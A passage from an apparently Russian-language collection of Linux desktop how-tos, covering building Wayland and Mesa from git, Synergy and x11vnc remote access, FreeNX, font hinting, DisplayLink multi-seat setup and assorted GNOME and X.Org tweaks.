     mkdir -p $HOME/install/share/aclocal
    
     # Paste these one at a time because they're interactive.
     sudo aptitude remove --purge libegl1-mesa-drivers
     sudo aptitude build-dep libglu1-mesa #   diffstat{a} libx11-xcb-dev quilt 
     sudo aptitude build-dep libcairo2 #   autopoint{a} dh-autoreconf 
     sudo aptitude install libtool libxi-dev libxmu-dev libxt-dev bison flex libgl1-mesa-dev xutils-dev libtalloc-dev 
     sudo aptitude install libdrm-dev autoconf x11proto-kb-dev libegl1-mesa-dev libgles2-mesa-dev 
     sudo aptitude install libgdk-pixbuf2.0-dev libudev-dev libxcb-dri2-0-dev libxcb-xfixes0-dev 
     sudo aptitude install shtool libffi-dev libpoppler-glib-dev libgtk2.0-dev git
    
     git clone git://anongit.freedesktop.org/git/mesa/drm
     cd drm
     ./autogen.sh --prefix=$HOME/install --enable-nouveau-experimental-api
     make
     make install
     cd ..
    
     git clone git://anongit.freedesktop.org/mesa/mesa
     cd mesa/
     ./autogen.sh --prefix=$HOME/install --enable-egl --enable-gles2 --with-dri-drivers= \
       --enable-gallium-nouveau --with-state-trackers=glx,dri,egl
     make
     make install
     cd ..
    
     git clone git://anongit.freedesktop.org/xorg/proto/xproto
     cd xproto
     ./autogen.sh --prefix=$HOME/install
     make install
     cd ..
    
     git clone git://anongit.freedesktop.org/xorg/proto/kbproto
     cd kbproto/
     ./autogen.sh --prefix=$HOME/install
     make install
     cd ..
    
     git clone git://anongit.freedesktop.org/xorg/util/macros
     cd macros
     ./autogen.sh --prefix=$HOME/install
     make install
     cd ..
    
     git clone git://anongit.freedesktop.org/xorg/lib/libX11
     cd libX11
     ./autogen.sh --prefix=$HOME/install
     make install
     cd ..
    
     git clone git://people.freedesktop.org/xorg/lib/libxkbcommon.git
     cd libxkbcommon/
     #./autogen.sh --prefix=$HOME/install --with-xkb-rootdir=/usr/share/X11/xkb
     ./autogen.sh --prefix=$HOME/install
     make
     make install
     cd ..
    
     git clone git://anongit.freedesktop.org/cairo
     cd cairo
     ./autogen.sh --prefix=$HOME/install --enable-gl --enable-xcb
     make
     make install
     cd ..
    
     git clone git://anongit.freedesktop.org/wayland
     cd wayland/
     ./autogen.sh --prefix=$HOME/install
     make
     make install
     cd ..
    
     sudo cp -a wayland/compositor/70-wayland.rules /etc/udev/rules.d/
     sudo udevadm trigger --subsystem-match=drm --subsystem-match=input
    
     mkdir -p $HOME/install/share/X11/
     ln -s /usr/share/X11/xkb $HOME/install/share/X11/
    
    Запуск wayland:
    
       wayland/compositor/compositor &
       sleep 1
       wayland/clients/flower &
       wayland/clients/gears &
       wayland/clients/smoke &
       wayland/clients/terminal &
    
    Особенности сборки для видеокарт Intel отмечены в данной заметке
    
     
    ----* Подключение нескольких ПК к одной клавиатуре и мыши при помощи Synergy (доп. ссылка 1)   Автор: Роман Сукочев  [обсудить]
     
    В рамках проекта Synergy (http://synergy-foss.org/) подготовлен программный
    KVM-переключатель для использования одной клавиатуры и мыши с несколькими
    компьютерами. В отличии от аппаратных переключателей Synergy поддерживает
    единый буфер обмена для всех объединенных машин.
    
    Ниже, будет приведен пример настройки synergy для двух компьютеров под
    управлением Ubuntu. Главный компьютер, с которого управляются другие
    компьютеры, будет называться ubuntu-server, второй компьютер - ubuntu-client.
    Монитор ubuntu-client, физически, расположен слева от ubuntu-server. Не
    забываем, чтобы все работало, нужно, чтобы компьютеры были подключены к одной сети.
    
    Synergy есть в стандартном репозитории, но там довольно старая версия.
    Пакеты с последней unstable-версией можно загрузить здесь. Устанавливаем
    программу на главном и подключаемых компьютерах.
    
       sudo apt-get install synergy
    
    Настройка главного компьютера
    
    Настраивается все довольно просто.
    1. На компьютере, который будет главным, создаете файл в домашнем каталоге файл .synergy.conf:
    
       section: screens
          Ubuntu-server:
          Ubuntu-client:
       end
       section: links
          ubuntu-server:
            left = ubuntu-client
          ubuntu-client:
            right = ubuntu-server
       end
    
    В первой секции 'screens' указаны IP или имена хостов для компьютеров,
    завязанных для работы в synergy.
    Во второй секции 'links' указано отношение компьютера к соседним компьютерам
    (какой находится слева, справа, снизу и сверху)
    
    2. Добавляем запуск synergys в автозагрузку, добавив команду 'synergys' в
    'Система'->'Параметры'->'Запускаемые приложения'. Или 'synergys -c <путь к
    конфигу>', если вы хотите использовать другой файл конфигурации для запуска synergy.
    
    
    Настройка подключаемого компьютера
    
    1. На подключаемом компьютере, добавляем запуск synergyc в автозагрузку,
    добавив команду 'synergyc ubuntu-server' в 'Система'->'Параметры'->'Запускаемые приложения'.
    
    Все. Теперь перезагружаем компьютеры и видим, что поднеся курсор мыши к левой
    границе экрана монитора главного компьютера, курсор перескакивает на экран
    подключенного компьютера и мы можем, мышкой и клавиатурой главного компьютера,
    управлять подключенным.
    
    
    QuickSynergy
    
    Для тех, кто не любит работать с файлами конфигурации вручную, в  репозитории
    Ubuntu есть утилита quicksynergy, которая позволит Вам настроить Synergy в два
    клика :)
    
    1. Скачиваем quicksynergy:
    
       sudo apt-get install quicksynergy
    
    2. Если ранее поставлена unstable-версия synergy с сайта проекта, то
    устанавливаем, игнорируя зависимости:
    
       sudo apt-get install -d quicksynergy
       cd /var/cache/apt/archives/
       sudo dpkg --ignore-depends=synergy -i quicksynergy*.deb
    
    Зависимости мы игнорировали для того, чтобы программа не подтянула с собой
    старый пакет synergy из репозитория, который заменил бы собой, свежий synergy-plus.
    
    3. Запускаем программу 'Приложения'-->'Стандартные'-->'QuickSynergy' и
    настраиваем synergy в пару кликов.
    
    Другие GUI-утилиты для Synergy: QSynergy, Sinerji и другие.
    
     
    ----* Добавление произвольных ссылок в апплет уведомлений Ubuntu (доп. ссылка 1)   [комментарии]
     
    В состав Ubuntu 10.04  добавлен новый апплет уведомлений, который агрегирует
    несколько сервисов по обмену сообщениями в рамках одного значка на панели
    задач. По умолчанию апплет поддерживает Evolution (Mail), Empathy, Pidgin и Gwibber.
    
    Для добавления ссылки на любое приложение в апплет уведомлений достаточно
    создать новый файл в директории /usr/share/indicators/messages/applications/,
    используя в качестве примера один из уже присутствующих файлов:
    
       ls /usr/share/indicators/messages/applications/
    
       empathy  evolution  gwibber  pidgin
    
    Для примера добавим в меню ссылку на программу licq:
    
    создаем файл licq и добавляем в него путь к соответствующему desktop-файлу:
    
       sudo vi /usr/share/indicators/messages/applications/licq
    
       /usr/share/applications/kde/licq.desktop
    
    desktop-файлы можно найти в директории /usr/share/applications
    
    Готовые индикаторы для отображения числа новых сообщений для Thunderbird и
    GMail можно загрузить на страницах https://launchpad.net/libnotify-mozilla и https://launchpad.net/gmailwatcher
    
     
    ----* Выборочное включение эффектов композитного режима в metacity (доп. ссылка 1)   Автор: Аноним  [комментарии]
     
    Иногда достаточно только отбрасываемых теней под окнами (например, для того,
    чтобы улучшить контраст между границами окон). Такие эффекты, как вязкие окна и
    магические кубы из рабочих столов, некоторым пользователям только мешают.
    Однако, многие продолжают устанавливать оконный менеджер Compiz, когда сам
    metacity уже с 2.22 версии GNOME поддерживает эффекты рабочего стола.
    
    Для того, чтобы включить отбрасываемые тени:
    
       gconftool-2 -s '/apps/metacity/general/compositing_manager' --type bool true
    
    Выключить:
    
       gconftool-2 -s '/apps/metacity/general/compositing_manager' --type bool false
    
     
    ----* Организация доступа к рабочему столу Ubuntu/Debian Linux при помощи VNC   Автор: males  [комментарии]
     
    Задача: получить доступ к рабочему столу домашнего компьютера с работы.
    
    Стандартный vino из GNOME не подошел, так как его надо было каждый раз
    запускать. Выбор остановился на x11vnc, настроить с первого захода который не
    получилось - GMOME вылетал через 5 минут после логина с такой ошибкой:
    
       gdm-session-worker[2473]: GLib-GObject-CRITICAL: g_value_get_boolean: assertion `G_VALUE_HOLDS_BOOLEAN (value)' failed
       gdm-session-worker[2473]: pam_succeed_if(gdm:auth): requirement "user ingroup no passwdlogin" not met by user "males"
       gdm-session-worker[2473]: pam_unix(gdm:session): session opened for user males by (uid=0)
       gdm-session-worker[2473]: pam_ck_connector(gdm:session): nox11 mode, ignoring PAM_TTY :0
    
    Ниже, пошаговая инструкция настройки рабочей конфигурации x11vnc:
    
    Удаляем vino и установим x11vnc
    
       sudo apt-get remove vino
       sudo apt-get install x11vnc
    
    после того как все прошло успешно создаем пароль для VNC:
    
       sudo x11vnc -storepasswd пароль /etc/vnc/passwd
    
    если запускать просто x11vnc -storepasswd то пароль создастся в ~/.vnc/passwd,
    что мне не очень-то хотелось.
    
    После того как пароль создан и записан  добавим в самый конец файла
    /etc/gdm/PreSession/Default такую строчку:
    
       /usr/bin/x11vnc -dontdisconnect -display :0 -shared -noxfixes -forever \
          -rfbport 5900 -bg -o /var/log/x11vnc.log -rfbauth /etc/vnc/passwd
    
    теперь по опциям:
    
    -dontdisconnect не отключать клиентов при новом соединении
    
    -display :0 какой дисплей использовать. Если не указать этот параметр у меня
    создавался новый дисплей.
    
    -shared Для подключения более одного пользователя
    
    -noxfixes Что-то связанное с отрисовкой курсора. 
    
    -forever не закрывать x11vnc после разрыва соединения
    
    -rfbport 5900 какой порт использовать
    
    -bg запускать в фоне
    
    последние два параметра это лог и файл паролей.
    
    Если канал маленький можно добавить параметр -notruecolor, чтобы выдавался 8-битный цвет.
    
    С запуском закончили. Теперь добавим в /etc/gdm/custom.conf строчку
    "KillInitClients=true" чтобы при запуске gdm убивал X-клиенты запущенные через init.
    
    Перезапускаем X-ы, заходим от любого пользователя, смотрим запустился ли VNC:
    
       ps -ax | grep x11vnc
    
       1726 ?        Ss     1:51 /usr/bin/x11vnc -dontdisconnect -display :0 
       -noxfixes -shared -forever -rfbport 5900 -bg -o /var/log/x11vnc.log -rfbauth /etc/vnc/passwd
    
       sudo netstat -antp | grep x11vnc
    
       tcp        0      0 0.0.0.0:5900            0.0.0.0:*               LISTEN      1726/x11vnc
       tcp6       0      0 :::5900                 :::*                    LISTEN      1726/x11vnc
    
    вот и всё. теперь можно смело подключаться с удаленного компьютера через VNC.
    
    Для статьи использовались Google, хендбуки и http://linux.die.net/man/1/x11vnc
    
     
    ----* Отключение индикатора раскладки в Gnome 2.30 (доп. ссылка 1)   [комментарии]
     
    В Gnome 2.30 появилась неприятная особенность, выражающаяся в появлении
    индикатора раскладке в трее после настройки клавиатуры. Для отключения
    индикатора нужно выполнить следующее:
    
       gconftool-2 -s /desktop/gnome/peripherals/keyboard/general/disable_indicator -t bool true
    
     
    ----* Включение субпиксельного хинтинга шрифтов в Fedora 13 и openSUSE 11.3 (доп. ссылка 1) (доп. ссылка 2) (доп. ссылка 3) (доп. ссылка 4)   [комментарии]
     
    Для библиотеки FreeType разработан патч (http://www.infinality.net/blog/?p=67),
    приводящий рендеринг Truetype-шрифтов в вид, похожий на результат использования
    метода сглаживания Microsoft Cleartype
    (http://ru.wikipedia.org/wiki/ClearType). Особенно заметно повышение качества
    отображения после использования патча на компьютерах с ЖК монитором.
    
    В отличие от ранее представленных cleartype-патчей для FreeType и режимов
    пиксельного хинтинга и субпиксельной фильтрации, обсуждаемый патч реализует не
    только субпиксельную фильтрацию, но и субпиксельный хинтинг, что подразумевает
    изменение контура букв с учетом субпиксельных границ, а не на основании
    очерчивающих символ пикселов. При растеризации шрифтов патч также повторяет
    особенности Truetype-интерпретатора из состава Windows XP (игнорирует некоторые
    Truetype-инструкции, заложенные в шрифте).
    
    Для настройки шрифтов авторы патча рекомендуют использовать специально
    подготовленный файл конфигурации /etc/fonts/local.conf:
     http://www.infinality.net/files/local.conf
    
    Для установки модифицированной версии FreeType в openSUSE 11.3 достаточно
    установить через сервис One Click мета-пакеты:
    http://opensuse-community.org/subpixel/subpixel.ymp
    http://software.opensuse.org/ymp/home:anshuljain:ubuntu_patch_11.3/openSUSE_11.3/cairo.ymp
    
    В Fedora 13 необходимо подключить репозиторий, подготовленный разработчиками
    infinality.net и установить нужные пакеты из него:
    
       sudo rpm -Uhv http://www.infinality.net/fedora/linux/infinality-repo-1.0-1.noarch.rpm
    
    Ставим патченный FreeType и модифицированные версии библиотек cairo и libXft:
    
       sudo yum install freetype-subpixel cairo-freeworld libXft-freeworld
    
    
    PS. В Ubuntu данные патчи включены по умолчанию.
    
     
    ----* Решение проблем при работе Adobe Flash в полноэкранном режиме   [комментарии]
     
    При возникновении проблем с притормаживанием и заморозкой отображения видео в
    полноэкранном режиме при перемещении мыши можно использовать следующее решение:
    
    Создаем директорию /etc/adobe:
        # mkdir /etc/adobe
    
    Редактируем файл конфигурации mms.cfg 
        # vi /etc/adobe/mms.cfg 
    
    Добавляем в него строку, которая позволяет задействовать GPU-акселерацию при
    выводе на экран для всех видеокарт:
        OverrideGPUValidation = true
    
    Перезапускаем браузер.
    
    
    Инструкцию по допустимым в mms.cfg опциям можно найти
    <a href="http://www.adobe.com/devnet/flashplayer/articles/flash_player_admin_guide.html">здесь</a>
    
    Некоторые полезные опции (формат: опция = число или true/false):
    
    AssetCacheSize  - ограничивает размер кеша;
    
    AutoUpdateDisable  - выключает автоматическое обновление;
    
    AutoUpdateInterval - задает интервал проверки обновлений;
    
    AVHardwareDisable  - запрещает доступ из SWF-файлов к web-камере и микрофону;
    
    DisableDeviceFontEnumeration  - запрещает передачу информации о шрифтах;
    
    DisableNetworkAndFilesystemIn - запрещает сетевые функции и операции с файловой системой;
    
    DisableSockets  - запрещает методы Socket.connect() и XMLSocket.connect();
    
    EnableSocketsTo - позволяет задать белый список серверов к которым разрешено сетевое соединение;
    
    FileDownloadDisable/FileUploadDisable - запрещает использование функций
    загрузки файлов в ActionScript FileReference API;
    
    FullScreenDisable  - запрещает переход в полноэкранный режим
    
    LocalFileReadDisable  - запрещает проигрывание SWF-файлов с локального жесткого диска;
    
    LocalStorageLimit   - ограничивает размер дискового пространства, которое
    допустимо использовать в Flash
    
     
    ----* Добавление редактора главного меню в GNOME 2.30   Автор: Аноним  [комментарии]
     
    Возникла необходимость Fedora 13 быстро отредактировать пункт  меню в GNOME
    2.30. Оказалось, что в этой версии GNOME убрана утилита
    редактирования меню.
    
    Для появления пункта меню "Система / Параметры / Главное меню"
    необходимо установить пакет alacarte-0.13.1-1.fc13.noarch.rpm
    из доступных репозиториев:
    
       yum install alacarte
    
    или скачать вручную из любого зеркала
    (/pub/mirrors/fedora//releases/13/Everything/i386/os/Packages/) и
    воспользоваться командой установки:
    
       rpm -ivh ./alacarte-0.13.1-1.fc13.noarch.rpm
    
     
    ----* Исправление ошибки в gnome-icon-theme, которая проявляется в новом Evolution   Автор: rstone  [комментарии]
     
    В свежеоткомпилированном Evolution 2.30.1 поехала вся разметка.  Выяснилось,
    что отсутствует иконка "Mark mail as not junk" в нужном размере.
    
    Чиним: 
    
       for dir in /usr/share/icons/gnome/{16x16,22x22,24x24,32x32};
       do [ -f $dir/actions/mail-mark-notjunk.png ] && { 
          sudo ln -s $dir/actions/mail-mark-notjunk.png $dir/actions/mail-mark-not-junk.png
       }
       done
    
       sudo gtk-update-icon-cache -f /usr/share/icons/gnome/
    
    В гноме есть открытое сообщение об ошибке по этому поводу: https://bugzilla.gnome.org/show_bug.cgi?id=616954
    
     
    ----* Использование Opera 10.54 и выше с заданным виджетами рабочего стола   Автор: Artem Tashkinov  [комментарии]
     
    Opera 10.54 подгружает поддержку среды рабочего стола (KDE, Gnome или без неё)
    автоматически, основываясь на переменных окружения. Иногда она делает это
    неправильно, а иногда может потребоваться и вовсе отказаться от этой функции и
    использовать заданные вручную диалоги открытия и сохранения файлов.
    
    Для того, что сделать это, наберите в строке адреса следующую строку:
    
       opera:config#FileSelector|Dialogtoolkit
    
    У вас появится выбор из следующих значений:
    
       0 = автоматическое определение (значение по умолчанию)
       2 = GTK
       3 = KDE4
       4 = x11
    
    После этого не забудьте нажать Save (Сохранить) и перезапустите Opera.
    
     
    ----* Удаленное выполнение GUI-приложений от имени другого пользователя (доп. ссылка 1)   Автор: xAnd  [комментарии]
     
    В работе системного администратора иногда возникает необходимость выполнения
    команды от имени другого пользователя. Если доступна консольная версия команды,
    то проблем обычно не возникает, помогает команда su, но если консольной версии
    программы нет, возникают некоторые проблемы с невозможностью вывести
    графическое содержимое на удалённом компьютере.  Можно использовать тот же VNC
    для подключения к удалённому рабочему столу, но если не хочется прерывать
    работы пользователя на помощь может придти X-forwarding.
    
    Данная технология позволяет перенаправить вывод X-сервера (или отдельной
    программы) через тоннель (например SSH) на удалённый компьютер.
    
    Итак, перед нами стоит задача запустить определённую программу от имени другого
    пользователя на удалённом компьютере. На самом деле проблема всего одна.
    X-сервер не может авторизоваться из-за неверного ключа другого пользователя.
    Соответственно наша задача сводится к добавлению этого ключа.
    
    Добавляем свой ключ к пользователю от которого хотим выполнить приложение:
    
        sudo sh -c "cat /home/user/.Xauthority >> /home/user2/.Xauthority"
    
    Теперь осталось просто выполнить команду от имени другого пользователя. В
    качестве примера, запустим утилиту настройки встроенного в среду GNOME
    VNC-клиента Vino:
    
        sudo -u user2 vino-preferences
    
    Осталось добавить только то, что user - это наш пользователь, а user2 -
    пользователь от которого необходимо выполнить программу.
    
    Если пароль пользователя известен, но все гораздо проще, для запуска достаточно выполнить:
    
       ssh -X user2@host2 vino-preferences
    
     
    ----* Удаленное управление рабочим столом в Ubuntu при помощи FreeNX   [комментарии]
     
    При необходимости организации запуска некоторых графических приложений с
    рабочей машины из дома, даже при наличии широкополосного соединения
    использование X11 или VNC достаточно не комфортно. Оптимальным в такой ситуации
    является использование протокола NoMachine NX, позволяющего работать с рабочим
    столом даже при наличии ощутимых задержек при передаче данных.
    
    Настройка сервера
    
    Устанавливаем пакет FreeNX из соответствующего PPA-репозитория:
    
       sudo add-apt-repository ppa:freenx-team
       sudo apt-get update
       sudo apt-get install freenx-server
    
    При необходимости настраиваем сервер через правку /etc/nxserver/node.conf
    
    Запускаем сервер:
    
       sudo /etc/init.d/freenx-server start
    
    Настраиваем сервер:
    
       sudo /usr/lib/nx/nxsetup --install
    
    Выбираем использование ключей аутентификации по умолчанию.
    если используем дополнительные ограничения в конфигурации SSH, например,
    пускаем только избранных пользователей, то добавляем исключения для
    пользователя "nx". В /etc/ssh/sshd_config в секцию AllowUsers или AllowGroups
    добавляем nx и перезапускаем sshd. Также проверяем возможность подключения к
    ssh серверу с хоста 127.0.0.1 (у меня было запрещено в /etc/hosts.allow).
    
    
    Настройка клиента
    
    Устанавливаем открытый клиент на базе библиотеки Qt:
    
       sudo apt-get install qtnx
    
    Или загружаем и устанавливаем deb-пакет с оригинальным проприетарным клиентом с
    сайта http://www.nomachine.com/select-package-client.php
    
       sudo dpkg -i nxclient_3.4.0-7_i386.deb
    
    Запускаем 
    
       qtnx
     
    в опциях по кнопке "Configure" прописываем имя сервера.
    
    или запускаем проприетарный клиент:
       /usr/NX/bin/nxclient 
    
    и следуем инструкции на экране.
    В случае успешного соединения попадаем в окружение удаленного рабочего стола.
    Субъективно проприетарный клиент nxclient и qtnx работают примерно одинаково.
    
    В qtnx не возникло проблем с переключением раскладки клавиатуры по клавише
    CapsLock. Nxclient переключать раскладку при стандартной настройке через GNOME
    отказался и заработал только при запуске на удаленной машине:
    
       setxkbmap -layout 'ru,us' -option "grp:ctrl_shift_toggle" -variant , winkeys
    
     
    ----* Выключение TouchPad в Linux (доп. ссылка 1)   Автор: Kirill A. Korinskiy  [комментарии]
     
    Временное выключение TouchPad:
    
       synclient TouchpadOff=1
    
    Временное включение:
    
       synclient TouchpadOff=0
    
    Вообще, у X.Org-драйвера synaptic много интересных опций, посмотреть которые
    можно через "man synaptics".
    
    Для постоянного выключения через HAL (в старых X11 можно было просто убрать из
    файла конфигурации), надо открыть файл, скажем /etc/hal/fdi/policy/touchpad.fdi
    и поместить в него:
    
       <match key="info.product" string="SynPS/2 Synaptics TouchPad">
        <merge key="input.x11_options.TouchpadOff" type="string">1</merge>
       </match>
    
    вместо "SynPS/2 Synaptics TouchPad" возможно надо будет указать другую строку,
    подробности стоит смотреть в "xinput list":
    
       xinput list| grep -i touch
    
    Еще есть syndaemon или в настройках gnome временное отключение TouchPad.
    
     
    ----* Возвращение кнопок сворачивания и закрытия в Ubuntu 10.04 в правую часть окна   [комментарии]
     
    Начиная с Ubuntu 10.04 кнопки сворачивания и закрытия перемещены в левую часть
    окна, что часто неудобно для бывалых пользователей Linux.
    
    Для придания кнопкам привычного вида, достаточно запустить gconf-editor и в
    иерархии apps/metacity/general установить переменной "button_layout" значение "menu:minimize,maximize,close".
    
    Или из консоли:
    
       gconftool-2 --type string --set /apps/metacity/general/button_layout "menu:minimize,maximize,close"
    
     
    ----* Увеличение скорости работы графического интерфейса Qt4 приложений   Автор: Artem Tashkinov  [комментарии]
     
    Как оказывается, во многих случаях (неправильно установленные драйверы, плохая
    поддержка драйверами требований к ускорению Xrender расширений) можно в
    несколько раз увеличить скорость прорисовки графического интерфейса программ,
    написанных с помощью библиотеки Qt4, запуская их с параметром -graphicssystem, например:
    
       arora -graphicssystem raster
    
    или
    
       arora -graphicssystem opengl
    
    На моём собственном компьютере с разрекламированными "качественными" Open
    Source драйверами от Intel, запуск приложений Qt4 с параметрами
    "-graphicssystem raster", сделал скорость прорисовки содержимого окна сравнимой
    с Windows, тогда как по-умолчанию при изменении размеров окна видно торможение
    прорисовки интерфейса.
    
     
    ----* Неотображение данных в Lotus Notes 8.5 при его запуске в Ubuntu 9.10 (доп. ссылка 1)   [комментарии]
     
    При установке стандартных deb-пакетов с Lotus Notes 8.5 в  Ubuntu 9.10 и других
    достаточно свежих Linux дистрибутивах наблюдаются проблемы с отображением
    данных в основном окне приложения. Lotus запустился, но вместо данных на
    основном экране видна только пустота. Т.е. диалоги показываются, видно что
    Lotus загружает данные и адресную книгу показывает, но на основном экране
    только пустота.
    
    Проблема решается, если в директорию /opt/ibm/lotus/notes скопировать более
    старую версию библиотеки Gtk+.
    Например, копирование libgdk-x11-2.0.so.0,  libgdk_pixbuf-2.0.so.0,
    libgtk-x11-2.0.so.0, libgdk_pixbuf_xlib-2.0.so.0 решает указанную проблему.
    
    Данные библиотеки можно загрузить например здесь
    (http://www.freetechie.com/upload/lotus_notes/) или скопировать из более старой
    версии дистрибутива.
    
     
    ----* Подключение нескольких мониторов к Linux через USB-адаптеры Displaylink (доп. ссылка 1)   [комментарии]
     
    Ниже описан процесс организации второго рабочего места в Debian/Ubuntu Linux,
    подключив к компьютеру USB-хаб к которому подключены дополнительные клавиатура,
    мышь и монитор (через USB2VGA переходник Displaylink).
    
    1. Устанавливаем framebuffer-драйвер для адаптера DisplayLink:
    
    Драйвер udlfb включен в состав staging-ветки ядра 2.6.32, но мы будем
    использовать последний срез исходных текстов из Git-репозитория:
    
       sudo apt-get install module-assistant
       sudo module-assistant prepare
       git clone http://git.plugable.com/webdav/udlfb/
       cd udlfb
       make
       sudo make install
       sudo depmod -a
    
    Если драйвер установлен и загружен корректно, то при подключении монитора через
    адаптер DisplayLinkNow, на мониторе будет отображен "зеленый экран".
    
    2. Устанавливаем X-драйвер для DisplayLink:
    
       sudo apt-get install pkg-config xorg-dev
       cd ~git
       git clone http://git.plugable.com/webdav/xf-video-udlfb/
       cd xf-video-udlfb
       ./configure
       make
       sudo make install
    
    Далее следует поправить несколько файлов конфигурации и скриптов, примеры можно
    загрузить из Git-репозитория проекта udlfb:
    
       git clone http://git.plugable.com/webdav/misc-udlfb/
    
    3. Правим скрипты udev
    
    Создаем с правами root файл /lib/udev/rules.d/50-usbseat.rules 
    
       # set all DisplayLink devices to configuration 1
       # see http://libdlo.freedesktop.org/wiki/DeviceQuirks for more info
       ATTR{idVendor}=="17e9", ATTR{bConfigurationValue}=="2", RUN="/bin/echo 1 > /sys%p/bConfigurationValue"
     
       # aliases for display, kbd, mouse attached to specific hubs
       KERNEL=="fb*",SUBSYSTEMS=="usb",PROGRAM="/bin/cat /sys/%p/../../../devnum",
           SYMLINK+="usbseat/%c/display",RUN+="usbseat.sh %c"
       KERNEL=="mouse*", SUBSYSTEMS=="usb", ATTRS{bInterfaceClass}=="03",
           ATTRS{bInterfaceProtocol}=="02", PROGRAM="/bin/cat /sys/%p/../../../../../../devnum",
           SYMLINK+="usbseat/%c/mouse",RUN+="usbseat.sh %c"
       KERNEL=="event*", SUBSYSTEM=="input", ATTRS{bInterfaceClass}=="03", 
          ATTRS{bInterfaceProtocol}=="01",PROGRAM="/bin/cat /sys/%p/../../../../../../devnum",
          SYMLINK+="usbseat/%c/keyboard",RUN+="usbseat.sh %c"
    
    
    Данный скрипт будет запущен автоматически в момент подключения USB-устройства;
    
    4. Создаем скрипт /lib/udev/usbseat.sh:
    
       #!/bin/bash
       # takes the "seat number" as parameter $1
       # the seat number is the kernel device id of the hub the seat's  devices are sitting off of
       # called once for every usb device that MIGHT be part of a seat, when they arrive or remove 
     
       if [[ !(-n `/bin/pidof gdm`) ]]; then
           exit 0
       fi
     
       seat_running=`/usr/bin/gdmdynamic -l | /bin/sed -n -e "/:$1,/p"`
     
       # $ACTION environment variable is set by udev subsystem
       case "$ACTION" in
    	'remove')
    		if [[ -n "{$seat_running}" ]]; then
    			/usr/bin/gdmdynamic -v -d $1
    		fi
    		;;
    	*)
                    # A device which might be part of a seat has been added
     
    		# if we already have a running seat for this #, exit
    		if [[ -n "${seat_running}" ]]; then
    			exit 0
    		fi
                    if [[ -e /dev/usbseat/$1/keyboard && -e /dev/usbseat/$1/mouse && \
                          -e /dev/usbseat/$1/display ]]; then
     
    			# We have a newly complete seat. Start it.
    			TMPFILE=`/bin/mktemp` || exit 1
    			/bin/sed "s/%ID_SEAT%/$1/g" < /lib/udev/usbseat-xf86.conf.sed > $TMPFILE
    			/usr/bin/gdmdynamic -v -t 2 -s 1 -a \
       "$1=/usr/X11R6/bin/X -br :$1 -audit 0 -nolisten tcp -novtswitch -sharevts -config $TMPFILE"
    			/usr/bin/gdmdynamic -v -r $1
    		fi
    		;;
       esac
     
       exit 0
    
    5. Создаем файл конфигурации для X-сервера:
    
    Создаем файл  /lib/udev/usbseat-xf86.conf.sed:
     
       Section "ServerFlags"
    	Option	"AutoEnableDevices"	"false"
    	Option	"AutoAddDevices"	"false"
    	Option  "DefaultLayout"		"seat"
    	Option	"DontZoom"		"true"
    	Option	"DontZap"		"true"
    	Option	"AllowMouseOpenFail"	"yes"
       EndSection
     
       Section "Module"
    	Load "ddc"
       EndSection
     
       Section "Files"
                                            
        ModulePath      "/usr/lib/xorg/modules"
        ModulePath      "/usr/local/lib/xorg/modules"
       EndSection
     
       Section "Device"
    	Identifier "dl"
    	driver	   "displaylink"
    	Option "fbdev"	"/dev/usbseat/%ID_SEAT%/display"
       EndSection
     
       Section "InputDevice"
    	Identifier "keyboard"
    	Driver	"evdev"
    	Option	"CoreKeyboard"
    	Option	"Device"	"/dev/usbseat/%ID_SEAT%/keyboard"
    	Option	"XkbModel"	"evdev"
    	Option	"XkbLayout"	"us"
       EndSection
     
       Section "InputDevice"
    	Identifier "mouse"
    	Driver	"mouse"
    	Option	"CorePointer"
    	Option	"Protocol" "auto"
    	Option	"Device"	"/dev/usbseat/%ID_SEAT%/mouse"
            Option  "Buttons" "5"
    	Option	"ZAxisMapping" "4 5"
       EndSection
     
       Section "Monitor"
    	Identifier "monitor"
       EndSection
     
       Section "Screen"
    	Identifier "screen"
    	Device "dl"
    	Monitor "monitor"
       EndSection
     
       Section "ServerLayout"
    	Identifier "seat"
    	Screen	0 "screen" 0 0 
    	InputDevice "keyboard" "CoreKeyboard"
    	InputDevice "mouse" "CorePointer"
       EndSection
    
    6. Запрещаем загрузку модуля ядра fbcon чтобы избежать конфликта при работе
    Devicelink через framebuffer.
    
    Создаем /etc/modprobe.d/fbcon.conf 
    
       blacklist font
       blacklist tileblit
       blacklist bitblit
       blacklist fbcon
    
    7. Обходной путь для решения проблемы с некорректным позиционированием экрана
    Добавляем в /etc/gdm/Init/Default после упоминания gdmwhich() вызов xrand для
    установки нормальной ориентации экрана
    
       XRANDR=`gdmwhich xrandr`
       if [ "x$XRANDR" != "x" ]; then
         $XRANDR -o 0
       fi
    
    8. В /etc/rc.local добавляем код для проверки подключения usb-терминала:
    
    
       oldIFS=$IFS
       IFS=/
       for seat in /dev/usbseat/*; do
    	set $seat
    	/lib/udev/usbseat.sh $4
       done
       IFS=$oldIFS
    
    9. Правка /etc/init.d/gdm для использования разных конфигурация для работы с
    несколькими X-серверами:
    
    Добавляем в /etc/init.d/gdm после секции "Allow cdd to override the config"
    (примерно в районе 35 строки):
    
       # При наличии конфигурации для usb монитора подключаем отдельную конфигурацию
       if [ -f /etc/gdm/gdm-usbseat.conf ]; then
          for usbseat in /dev/usbseat/*; do
    	seatid=${usbseat##*/}
    	if [ -e "/dev/usbseat/$seatid/keyboard" -a \
                 -e "/dev/usbseat/$seatid/mouse" -a -e "/dev/usbseat/$seatid/display" ]; then
    	   CONFIG_FILE="--config=/etc/gdm/gdm-usbseat.conf"
    	fi
    	done 
       fi
    
    10. Создаем файл конфигурации /etc/gdm/gdm-usbseat.conf, который будет
    использован вместо gdm.conf для монитора, подключенного через USB-переходник:
    
       [daemon]
       DynamicXServers=true
       FlexibleXServers=0
       Greeter=/usr/lib/gdm/gdmgreeter
     
       [security]
     
       [xdmcp]
      
       [gui]
     
       [greeter]
     
       [chooser]
     
       [debug]
     
       [servers]
       0=inactive
    
    После внесения вышеуказанных изменений при подключении монитора через USB на
    нем должно появиться приглашение для входа в систему
    
     
    ----* Одновременное использование двух мышей на одном экране в X.Org (доп. ссылка 1)   [комментарии]
     
    Несколько дней назад в Debian unstable был добавлен пакет с Xorg 7.5, в котором
    появилась поддержка подсистемы XInput2, позволяющей одновременно задействовать
    на одном экране несколько устройств ввода.
    Ниже показано как обеспечить работу в  X.Org двух манипуляторов мышь, которыми
    можно управлять взяв их в правую и левую руки.
    
    Подключаем вторую мышь (Topro) к ПК и смотрим список доступных устройств ввода:
    
       $ xinput list
       
       Virtual core pointer                  id=2 [master pointer  (3)]
